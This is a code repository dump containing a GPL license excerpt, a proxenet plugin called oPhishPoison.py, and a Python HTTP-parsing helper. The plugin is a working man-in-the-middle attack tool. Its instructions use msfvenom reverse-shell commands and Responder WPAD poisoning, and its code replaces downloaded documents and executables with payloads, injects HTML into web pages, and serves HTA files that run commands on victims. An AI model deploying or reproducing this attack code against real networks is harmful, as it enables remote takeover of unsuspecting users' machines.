source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | proxenet-plugins 2 | ================ 3 | 4 | Repository for proxenet plugins 5 | -------------------------------------------------------------------------------- /oPhishPoison.py: -------------------------------------------------------------------------------- 1 | """ 2 | This script will inject malicious content. 3 | 4 | How to use: 5 | - Generate your custom payload using msfvenom 6 | ex: $ msfvenom -p windows/reverse_tcp_shell -f raw -b '\x0d\x0a\x00\xff' -o mypayload LHOST=192.168.56.1 LPORT=4444 7 | - Edit your proxenet config file to point to your payload (option 'msfpayload') 8 | - Start proxenet and load this script (autoload or manually) 9 | ex: $ ln -sf proxenet-plugins/oPhishPoison.py proxenet-plugins/autoload/oPhishPoison.py 10 | $ ./proxenet -b 192.168.56.1 -p 8008 11 | - Start Responder and point WPAD to proxenet 12 | ex: # ./Responder.py -v -I vboxnet0 -u 192.168.56.1:8008 13 | - Enjoy the free shells 14 | 15 | """ 16 | 17 | PLUGIN_NAME = "oPhishPoison" 18 | AUTHOR = "@_hugsy_" 19 | 20 | 21 | import os, subprocess, ConfigParser, re, base64 22 | from pimp import HTTPRequest, HTTPResponse, HTTPBadResponseException 23 | 24 | HOME = os.getenv( "HOME" ) 25 | CONFIG_FILE = os.getenv("HOME") + "/.proxenet.ini" 26 | 27 | try: 28 | config = ConfigParser.ConfigParser() 29 | config.read(CONFIG_FILE) 30 | path_to_msfpayload = config.get(PLUGIN_NAME, "msfpayload", 0, {"home": os.getenv("HOME")}) 31 | path_to_python = config.get(PLUGIN_NAME, "python", 0, {"home": os.getenv("HOME")}) 32 | path_to_xor_payload = config.get(PLUGIN_NAME, "xor_payload", 0, {"home": os.getenv("HOME")}) 33 | path_to_html = config.get(PLUGIN_NAME, "html_inject_stub", 0, {"home": os.getenv("HOME")}) 34 | except Exception as e: 35 | print("[-] Plugin '%s' cannot be loaded: %s" % (PLUGIN_NAME, e)) 36 | exit(1) 37 | 38 | file_cache = { "html": path_to_html, } 39 | q = {} 40 | types = {"docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document", 41 | "xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", 42 | "pptx": "application/vnd.openxmlformats-officedocument.presentationml.presentation", 43 | "doc": "application/msword", 44 | "xls": "application/msexcel", 45 | "ppt": "application/vnd.ms-powerpoint", 46 | "pdf": "application/pdf", 47 | "swf": "application/x-shockwave-flash", 48 | "exe": "application/x-msdos-program", 49 | "zip": "application/zip", 50 | "rar": "application/rar", 51 | "html": "text/html", 52 | } 53 | 54 | 55 | def is_supported_type(t): 56 | """ 57 | Checks if the content type is supported by our poisoining plugins. If not, the request will 58 | not be tampered. 59 | """ 60 | p = t.lower() 61 | for k,v in types.iteritems(): 62 | if v == p: return k 63 | return None 64 | 65 | 66 | def hit_cache(ctype): 67 | """ 68 | Tried to get the right file from the cache. 69 | """ 70 | res = file_cache.get(ctype, None) 71 | if res is None: 72 | return False 73 | 74 | if not os.access(res, os.R_OK): 75 | return False 76 | 77 | return res 78 | 79 | 80 | def get_filename(http, ctype): 81 | """ 82 | Tries to get the right filename (if captured) 83 | """ 84 | global q 85 | 86 | if http.rid in q.keys(): 87 | fname = q[http.rid]["name"] 88 | return fname 89 | 90 | if ctype in ("zip", "rar"): 91 | fname = "self-extract.{}".format(ctype) 92 | else: 93 | fname = "attachement.{}".format(ctype) 94 | 95 | return fname 96 | 97 | 98 | def get_ua(http): 99 | """ 100 | Tries to get the victim User-Agent (if captured) 101 | """ 102 | global q 103 | 104 | return q[http.rid]["ua"] if http.rid in q.keys() else "" 105 | 106 | 107 | def replace_body_with_hta(http, ctype, **kwargs): 108 | """ 109 | Injecting HTA test: this will inject an HTA file as the result page, which will run 110 | an action specified as argument (default will be to spawn a calc.exe on the victim) 111 | """ 112 | 113 | action = kwargs.get("action", "cmd.exe /c calc.exe") 114 | fname = get_filename(http, ctype) 115 | http.body = """ 116 | 117 | """.format(action) 120 | 121 | # changing content-type 122 | http.del_header("Content-Type") 123 | http.add_header("Content-Type", "text/hta") 124 | 125 | # changing content-disposition 126 | http.del_header("Content-Disposition") 127 | http.add_header("Content-Disposition", "attachment; filename={}.hta".format(fname)) 128 | 129 | return http.render() 130 | 131 | 132 | def replace_with_malicious(http, ctype): 133 | """ 134 | 1. generate on-the-fly the right payload 135 | 2. replace the HTTP response body 136 | 3. profit 137 | """ 138 | global q 139 | 140 | # 1. 141 | res = hit_cache(ctype) 142 | if res == False: 143 | try: 144 | cmd = "{python} {xor} --quiet".format(python=path_to_python, xor=path_to_xor_payload) 145 | if ctype in ("xslx", "xls"): cmd += " --excel" 146 | elif ctype in ("docx", "doc"): cmd += " --word" 147 | elif ctype in ("pptx", "ppt"): cmd += " --powerpoint" 148 | elif ctype == "pdf": cmd += " --pdf" 149 | elif ctype == "swf": cmd += " --flash" 150 | 151 | with open(path_to_msfpayload, "rb") as f: 152 | res = subprocess.check_output(cmd.split(" "), stdin=f) 153 | if res is None or len(res)==0: 154 | raise Exception("check_output() failed") 155 | 156 | res = res.strip() 157 | 158 | file_cache[ctype] = res 159 | print("New payload generated for type '%s' : %s" % (ctype, res)) 160 | 161 | except Exception as e: 162 | print("Payload generation failed for '%s': %s" % (ctype, e)) 163 | return False 164 | 165 | # 2. 166 | with open(res, "rb") as f: 167 | data = f.read() 168 | http.body = data 169 | 170 | fname = get_filename(http, ctype) 171 | http.del_header("Content-Disposition") 172 | http.add_header("Content-Disposition", "inline; filename={}.exe".format(fname)) 173 | 174 | # 3. 175 | return True 176 | 177 | 178 | def inject_html(http): 179 | """ 180 | Do the same than replace_with_malicious() but with HTML content. 181 | The payload will be appended at the end of the (i.e. right before ), 182 | and render the new content to the browser. 183 | """ 184 | res = hit_cache("html") 185 | if res == False: 186 | return False 187 | 188 | with open(res, "rb") as f: 189 | html_to_inject = f.read() 190 | 191 | if len(html_to_inject) == 0: 192 | return False 193 | 194 | new = re.sub(r"()", 195 | r"%s\1" % html_to_inject, 196 | http.body, 197 | flags=re.IGNORECASE) 198 | 199 | if new == http.body: 200 | # if here, means http response is chunked, so just append it 201 | http.body += html_to_inject 202 | else: 203 | http.body = new 204 | 205 | http.del_header("Content-Encoding") 206 | print("Injecting HTML content into response {rid:d}".format(rid=http.rid)) 207 | return http.render() 208 | 209 | 210 | def proxenet_request_hook(rid, request, uri): 211 | """ 212 | proxenet_request_hook() is not useful now, maybe later. 213 | """ 214 | global q 215 | 216 | h = HTTPRequest(request, rid=rid) 217 | q[rid] = {"name": h.basename, "ua": h.get_header("user-agent")} 218 | return request 219 | 220 | 221 | def proxenet_response_hook(rid, response, uri): 222 | """ 223 | When a HTTP response header is received, check if it has a supported content type. 224 | If so, inject our payload. 225 | """ 226 | try: 227 | http = HTTPResponse(response, rid=rid) 228 | 229 | if not http.has_header("Content-Type"): 230 | del(http) 231 | return response 232 | 233 | detected_type = is_supported_type( http.get_header("Content-Type") ) 234 | if detected_type is None: 235 | del(http) 236 | return response 237 | 238 | # for tests 239 | # return replace_body_with_hta(http, detected_type) 240 | 241 | if detected_type == "html": 242 | res = inject_html(http) 243 | if res == False: 244 | del(http) 245 | return response 246 | else: 247 | return res 248 | 249 | if replace_with_malicious(http, detected_type) == False: 250 | del(http) 251 | return response 252 | 253 | print("Poisoining response {rid:d} with format '{fmt:s}'".format(rid=rid, fmt=detected_type)) 254 | return http.render() 255 | 256 | except HTTPBadResponseException as e : 257 | # print(e) 258 | return response 259 | 260 | 261 | if __name__ == "__main__": 262 | pass 263 | -------------------------------------------------------------------------------- /pimp.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | proxenet Interaction Module for Python (PIMP) 4 | 5 | Small set of functions for parsing easily http request 6 | 7 | """ 8 | import re 9 | 10 | __author__ = "@_hugsy_" 11 | __version__ = "0.1" 12 | __license__ = "GPLv2" 13 | 14 | CRLF = "\r\n" 15 | 16 | class HTTPBadRequestException(Exception): 17 | pass 18 | 19 | class HTTPBadResponseException(Exception): 20 | pass 21 | 22 | class HTTPObject: 23 | """ 24 | Generic class for manipulating HTTP objects from proxenet 25 | """ 26 | def __init__(self, **kwargs): 27 | self.rid = kwargs.get("rid", 0) 28 | self.headers = {} 29 | self.body = "" 30 | return 31 | 32 | def has_header(self, key): 33 | return key.lower() in self.headers.keys() 34 | 35 | def get_header(self, key): 36 | return self.headers.get(key.lower(), None) 37 | 38 | def add_header(self, key, value=""): 39 | self.headers[ key.lower() ] = value 40 | return 41 | 42 | def del_header(self, key): 43 | for k in self.headers.keys(): 44 | if k == key.lower(): 45 | self.headers.pop(k, None) 46 | return 47 | 48 | def update_content_length(self): 49 | if len(self.body): 50 | self.add_header("Content-Length", len(self.body)) 51 | return 52 | 53 | 54 | class HTTPRequest(HTTPObject) : 55 | """ 56 | Parse a raw HTTP request into Python object. 57 | This class provides helpers to get and modify the content of an HTTP request 58 | passed to proxenet. 59 | """ 60 | 61 | def __init__(self, r, **kwargs): 62 | HTTPObject.__init__(self, **kwargs) 63 | self.method = "GET" 64 | self.path = "/" 65 | self.version = "HTTP/1.1" 66 | 67 | try: 68 | self.parse(r) 69 | except Exception as e: 70 | raise HTTPBadRequestException(e) 71 | return 72 | 73 | def parse(self, req): 74 | """ 75 | Parse the request by splitting the header and body (if any). The body, method, path and version 76 | are affected as class attribute, the headers are stored in a dict(). 77 | """ 78 | i = req.find(CRLF*2) 79 | self.body = req[i+len(CRLF*2):] 80 | 81 | headers = req[:i].split(CRLF) 82 | parts = re.findall(r"^(?P.+?)\s+(?P.+?)\s+(?P.+?)$", headers[0])[0] 83 | self.method, self.path, self.version = parts 84 | 85 | for header in headers[1:]: 86 | key, value = re.findall(r"^(?P.+?)\s*:\s*(?P.+?)\s*$", header)[0] 87 | self.add_header(key, value) 88 | return 89 | 90 | def __str__(self): 91 | return "Request {rid} [{method} {path} {version}]".format(rid=self.rid, 92 | method=self.method, 93 | path=self.path, 94 | version=self.version) 95 | 96 | def render(self): 97 | """ 98 | Reconstruct the HTTP request as raw to be able to yield it to proxenet. 99 | """ 100 | self.update_content_length() 101 | head = "{method} {path} {version}".format(method=self.method, path=self.path, version=self.version) 102 | hrds = ["{header_name}: {header_value}".format(header_name=k,header_value=v) for k,v in self.headers.iteritems()] 103 | 104 | if len(self.body): req = CRLF.join([head, ] + hrds + ['', self.body]) 105 | else: req = CRLF.join([head, ] + hrds + [CRLF, ]) 106 | return req 107 | 108 | @property 109 | def realpath(self): 110 | """ 111 | Returns the path of the path attribute. 112 | """ 113 | i = self.path.rfind("/", 1) 114 | if i == -1: 115 | return self.path 116 | return self.path[:i] 117 | 118 | @property 119 | def basename(self): 120 | """ 121 | Returns the name of the script/file/method of the path attribute. 122 | """ 123 | i = self.path.rfind("/") 124 | j = self.path.find("?") 125 | 126 | if i==-1 and j==-1: 127 | return self.path 128 | elif j==-1: 129 | return self.path[i+1:] 130 | elif i==-1: 131 | return self.path[:j+1] 132 | else: 133 | return self.path[i+1:j+1] 134 | 135 | 136 | class HTTPResponse(HTTPObject): 137 | 138 | def __init__(self, r, **kwargs): 139 | HTTPObject.__init__(self, **kwargs) 140 | self.protocol = "HTTP/1.1" 141 | self.status = 200 142 | self.reason = "Ok" 143 | 144 | try: 145 | self.parse(r) 146 | except Exception as e: 147 | raise HTTPBadResponseException(e) 148 | return 149 | 150 | def parse(self, res): 151 | i = res.find(CRLF*2) 152 | self.body = res[i+len(CRLF*2):] 153 | 154 | headers = res[:i].split(CRLF) 155 | parts = re.findall(r"^(?P.+?)\s+(?P.+?)\s+(?P.*?)$", headers[0])[0] 156 | 157 | self.protocol, self.status, self.reason = parts 158 | 159 | for header in headers[1:]: 160 | key, value = re.findall(r"^(?P.+?)\s*:\s*(?P.+?)\s*$", header)[0] 161 | self.add_header(key, value) 162 | return 163 | 164 | def __str__(self): 165 | return "Response {rid} [{protocol} {status} {reason}]".format(rid=self.rid, 166 | protocol=self.protocol, 167 | status=self.status, 168 | reason=self.reason) 169 | 170 | def render(self): 171 | self.update_content_length() 172 | head = "{0} {1} {2}".format(self.protocol, self.status, self.reason) 173 | hrds = ["{0}: {1}".format(k,v) for k,v in self.headers.iteritems()] 174 | 175 | if len(self.body): res = CRLF.join([head, ] + hrds + ['', self.body]) 176 | else: res = CRLF.join([head, ] + hrds + [CRLF, ]) 177 | 178 | return res 179 | --------------------------------------------------------------------------------